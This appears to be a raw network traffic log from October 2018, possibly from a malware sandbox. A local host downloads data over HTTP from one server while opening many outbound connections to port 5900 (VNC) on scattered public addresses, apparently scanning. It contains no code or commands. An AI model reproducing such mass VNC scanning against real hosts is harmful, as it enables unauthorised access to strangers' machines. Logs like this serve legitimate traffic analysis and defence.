Oct 30, 2018 14:45:12.238856077 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.238889933 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.238925934 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.238970995 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.238995075 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.239005089 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239037991 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239083052 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239108086 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239131927 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239131927 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.239156008 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239191055 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239214897 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239238977 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239248037 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.239264011 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239289045 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239312887 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239336967 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239363909 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239397049 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239398003 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.239418030 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239448071 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239505053 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239543915 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239552021 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.239578962 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239631891 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239670992 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239681959 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.239711046 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239751101 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239787102 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.239861965 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.240159035 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.240560055 CET	51444	5900	192.168.1.81	102.135.193.252
Oct 30, 2018 14:45:12.241261959 CET	5900	51539	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:12.241390944 CET	51539	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:12.250452995 CET	51541	5900	192.168.1.81	78.246.8.54
Oct 30, 2018 14:45:12.255058050 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.278259993 CET	51542	5900	192.168.1.81	39.137.232.141
Oct 30, 2018 14:45:12.283222914 CET	51495	5900	192.168.1.81	148.240.197.173
Oct 30, 2018 14:45:12.288479090 CET	5900	51539	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:12.288736105 CET	5900	51510	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:12.289143085 CET	5900	51510	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:12.289403915 CET	51543	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:12.289485931 CET	5900	51510	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:12.289501905 CET	51510	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:12.289556026 CET	51510	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:12.290066957 CET	51544	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:12.292412043 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.292449951 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.292490005 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.292519093 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.292574883 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.292588949 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.292608976 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.292633057 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.292656898 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.292680979 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.292685986 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.292704105 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.292727947 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.292751074 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.292773962 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.292778015 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.292922974 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.292984962 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.295327902 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.295377016 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.295389891 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.295428991 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.295474052 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.295500040 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.295500994 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.295537949 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.295572042 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.295609951 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.295625925 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.295650959 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.295674086 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.295697927 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.295707941 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.295741081 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.295764923 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.295809031 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.295809984 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.295854092 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.295877934 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.295902967 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.295923948 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.295953989 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.295989037 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296022892 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296025991 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.296055079 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296078920 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296137094 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296143055 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.296180010 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296206951 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296240091 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296272039 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.296273947 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296307087 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296331882 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296376944 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.296407938 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296451092 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296488047 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.296503067 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296571970 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296608925 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296612978 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.296633005 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296667099 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296690941 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296715021 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296739101 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296770096 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296796083 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.296814919 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296834946 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296864986 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296890020 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296901941 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.296912909 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296936989 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296960115 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.296983957 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.297015905 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.297020912 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.297040939 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.297065020 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.297089100 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.297111034 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.297112942 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.297137976 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.297161102 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.297184944 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.297214031 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.297228098 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.297239065 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.297261953 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.297286034 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.297307014 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.297327042 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.297357082 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.297398090 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.297403097 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.297419071 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.297452927 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.297477007 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.297499895 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.297519922 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.297739029 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.302540064 CET	51445	5900	192.168.1.81	40.126.175.107
Oct 30, 2018 14:45:12.302573919 CET	51446	5900	192.168.1.81	97.37.152.94
Oct 30, 2018 14:45:12.304482937 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.309408903 CET	51545	5900	192.168.1.81	84.159.215.104
Oct 30, 2018 14:45:12.315000057 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.333833933 CET	51447	5900	192.168.1.81	101.169.171.73
Oct 30, 2018 14:45:12.336080074 CET	5900	51543	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:12.336184978 CET	51543	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:12.340257883 CET	51546	5900	192.168.1.81	107.4.31.121
Oct 30, 2018 14:45:12.347904921 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.347961903 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.347996950 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.348025084 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.348036051 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.348078966 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.348120928 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.348156929 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.348177910 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.348181009 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.348202944 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.348231077 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.348253965 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.348278046 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.348290920 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.348300934 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.348356009 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.348381996 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.348406076 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.348440886 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.348449945 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.348472118 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.348474979 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.348500013 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.348529100 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.348551989 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.348576069 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.348589897 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.348599911 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.348731995 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.353473902 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.353626013 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.353669882 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.353683949 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.353684902 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.353744030 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.353768110 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.353792906 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.353816986 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.353841066 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.353852034 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.353864908 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.353893995 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.353918076 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.353940964 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.353965044 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.353986979 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.353988886 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.354012966 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.354036093 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.354063034 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.354082108 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.354085922 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.354110003 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.354132891 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.354156971 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.354175091 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.354181051 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.354204893 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.354228973 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.354252100 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.354275942 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.354289055 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.354299068 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.354631901 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.359344959 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.359380960 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.359405041 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.359430075 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.359452963 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.359476089 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.359477043 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.359500885 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.359524965 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.359549046 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.359574080 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.360620975 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.365340948 CET	51448	5900	192.168.1.81	144.97.87.163
Oct 30, 2018 14:45:12.369972944 CET	51547	5900	192.168.1.81	57.23.167.232
Oct 30, 2018 14:45:12.370160103 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.370197058 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.370238066 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.370248079 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.370273113 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.370307922 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.370340109 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.370342970 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.370423079 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.370450020 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.370484114 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.370512962 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.370517969 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.370567083 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.370573044 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.370603085 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.370629072 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.370672941 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.370675087 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.370721102 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.370758057 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.370781898 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.370790958 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.370830059 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.370856047 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.370892048 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.370894909 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.370917082 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.370949030 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.370975971 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.370981932 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371006012 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371030092 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371066093 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371087074 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.371089935 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371114016 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371136904 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371160984 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371184111 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371206999 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371208906 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.371231079 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371254921 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371279001 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371295929 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.371303082 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371326923 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371350050 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371372938 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371398926 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.371402025 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371426105 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371448994 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371473074 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371495962 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371500969 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.371520042 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371548891 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371572018 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371593952 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.371596098 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371619940 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371643066 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371665955 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371684074 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.371689081 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371716976 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371740103 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371763945 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371784925 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.371787071 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371810913 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371834040 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371857882 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371881008 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.371890068 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.372145891 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.383019924 CET	5900	51543	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:12.383697987 CET	51548	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:12.404086113 CET	51549	5900	192.168.1.81	63.80.117.31
Oct 30, 2018 14:45:12.429158926 CET	5900	51548	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:12.429286957 CET	51548	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:12.441246033 CET	5900	51495	148.240.197.173	192.168.1.81
Oct 30, 2018 14:45:12.474611044 CET	5900	51548	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:12.490710974 CET	51449	5900	192.168.1.81	81.132.98.144
Oct 30, 2018 14:45:12.490773916 CET	51450	5900	192.168.1.81	198.27.63.185
Oct 30, 2018 14:45:12.490940094 CET	51550	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:12.498899937 CET	51551	5900	192.168.1.81	78.143.66.43
Oct 30, 2018 14:45:12.499948025 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.506401062 CET	51451	5900	192.168.1.81	114.222.52.16
Oct 30, 2018 14:45:12.529988050 CET	51553	5900	192.168.1.81	108.170.40.36
Oct 30, 2018 14:45:12.540047884 CET	5900	51550	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:12.540239096 CET	51550	5900	192.168.1.81	193.167.56.72
